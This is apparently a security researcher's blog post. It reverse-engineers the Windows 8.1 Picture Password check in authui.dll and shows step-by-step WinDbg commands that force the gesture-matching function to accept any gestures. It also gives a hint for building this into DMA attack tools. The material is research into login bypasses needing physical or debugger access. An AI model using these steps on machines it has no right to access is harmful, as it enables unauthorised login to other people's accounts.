Bypassing the Windows 8.1 Picture Password feature with a kernel debugger

Introduction

Let me start this post by stating that the stuff described here is NOT a vulnerability. I just ported the idea of patching the function which validates the Windows logon password (the well-known msv1_0!MsvpPasswordValidate) to the new, password-less login feature of Windows 8 / 8.1: Picture Password (does anyone use it at all? 🙂 ).

It requires a kernel debugger, which grants full control over the machine, so this is NOT a vulnerability.

The trick of patching msv1_0!MsvpPasswordValidate has been known at least since 2006, when Adam Boileau presented his work “Hit by a Bus: Physical Access Attacks with Firewire [PDF]” during the Ruxcon 2006 conference; for a detailed explanation of how this trick works you can visit the following blogpost: “Silly debugger tricks: Using KD to reset a forgotten administrator password“.

This trick of patching msv1_0!MsvpPasswordValidate in order to bypass the Windows login screen has been integrated into DMA attack tools like winlockpwn (by the very Adam Boileau), and more recently, Inception.

By the way, if you are interested in attacks against these authentication schemes based on picture gestures, you can find the following links interesting:

 

Finding the validation routine

So Microsoft introduced the Picture Password feature in Windows 8. This is a new, alternate sign in method which allows us to log into our computer by drawing a combination of 3 gestures (which can be dots, lines or circles) on top of a background image, instead of entering characters. As you can guess, this sign-in method makes more sense on a tablet or in a computer with a touch screen, but it’s also available on traditional configurations nonetheless.

picture-password-line

I started by setting up a Picture Password for my user account. Then I searched for the “PicturePassword” string in the Windows Registry, hoping to find some useful key. Luckily for me, the search process found this key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\PicturePassword

So the next step was to run Process Monitor from Sysinternals in the Windows 8.1 box. I added a filter to show those events including the string “PicturePassword” within the accessed Path.

procmon-filter

 

I also clicked on the menu icons to show Registry events only, like this:

procmon-regonly
I proceeded to lock the machine and then I unlocked it by entering my Picture Password, and there it was the LogonUI.exe process reading the Registry key:

procmon-logonui

Taking a look at the call stack of the Registry operations we can see that the key is being opened within the authui.dll module:

procmon-stack

Let’s load authui.dll into IDA Pro. Among its many functions, we can find the following three interesting ones:

  • ScoreCircleGesture
  • ScoreLineGesture
  • ScorePointGesture

All these three functions are called from the CPicturePasswordGestureHelper::s_HeuristicMatch function. The juicy stuff is within this function: it calls the appropiate function to score the drawn gesture, then it calls the AggregateScores function, and finally it compares the aggregated score against a floating point global variable holding a value of 0.8999999761581421. This value is the minimum accuracy that will be accepted for the entered picture password:

AggregateScores

As you can see in the screenshot below, if the accuracy of the entered picture password is above 0.8999999…, then we’ll hit the basic block highlighted in green, which sets BL to 1, indicating that the login was successful!

returnvalue

 

Bypassing the Picture Password with a kernel debugger

So now let’s see how we can use a kernel debugger in order to make the CPicturePasswordGestureHelper::s_HeuristicMatch function return always 1, thus accepting any gestures for the picture password.
If you don’t know how to setup a kernel debugger using VMware + WinDbg, you can check out this post.

After connecting WinDbg to the virtual machine we’ll start by enumerating all the usermode processes:

kd> !process 0 0
[...]
Unable to get LeftChild of nt!_MMVAD_SHORT at 8a2fed30
failed to count VADs
PROCESS 8a2f0cc0 SessionId: 1 Cid: 02ec Peb: 7fd8b000 ParentCid: 01d0
DirBase: 39119160 ObjectTable: 940d6340 HandleCount:
Image: LogonUI.exe
[...]

Then let’s select the LogonUI.exe process by doing .process /i <address of its EPROCESS structure>:

kd> .process /i 8a2f0cc0
You need to continue execution (press 'g' ) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
k> g
Break instruction exception - code 80000003 (first chance)
eax=00000007 ebx=8a2f0cc0 ecx=82b2c000 edx=00000000 esi=000000bd edi=8a2f0cc0
eip=81d650d4 esp=87f43ca8 ebp=87f43ce8 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
nt!RtlpBreakWithStatusInstruction:
81d650d4 cc int 3

Now let’s reload the usermode symbols:

kd> .reload /user

So now we can set a breakpoint in the authui!CPicturePasswordGestureHelper::s_HeuristicMatch function, or more precisely, in the basic block where the AggregateScores function is called and the result gets compared to the minimum accepted accuracy of 0.8999999…; in the version of authui.dll I’m working with, said basic block starts at offset 0xA1 within the function:

kd> u authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xa1
authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xa1:
741b5d53 ddd8            fstp st(0)
741b5d55 8d4de0          lea ecx,[ebp-20h]
741b5d58 e88e800000      call authui!AggregateScores (741bddeb)
741b5d5d dc1d60661474    fcomp qword ptr [authui!_real (74146660)]
741b5d63 dfe0            fnstsw ax
741b5d65 f6c401          test ah,1
741b5d68 7502            jne authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xba (741b5d6c)
741b5d6a b301            mov bl,1

So let’s put a breakpoint there and then resume the execution:

kd> ba e 1 authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xa1
kd> g

Back to the Picture Password logon window, we enter any three (incorrect) gestures; that will make our breakpoint in the debugger to get hit:

Breakpoint 0 hit
authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xa1:
001b:741b5d53 ddd8            fstp st(0)

Let’s step over a few instructions until we reach the ‘test ah, 1‘ instruction. At that point let’s examine the value of the AH register:

kd> t
authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xb3:
001b:741b5d65 f6c401          test ah,1
kd> r ah
ah=1

The value of the AH register is 1, so the subsequent JNZ conditional jump will be taken; the function then will return 0, thus meaning that the entered picture password is wrong.
So at that point, a simple way to bypass the Picture Password login is to set the AH register to 0 right before the ‘test ah, 1‘ instruction is executed, like this:

kd> t
authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xb3:
001b:741b5d65 f6c401          test ah,1
kd> r ah=0

This way the JNZ jump will NOT be taken, so authui!CPicturePasswordGestureHelper::s_HeuristicMatch will return 1, meaning that the entered picture password was accepted!

If you are trying to include this trick into a DMA attack tool like Inception, you probably want to NOP out the JNZ jump after the “test ah, 1” instruction, in order to make the function return 1 even for wrong picture passwords.

 

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s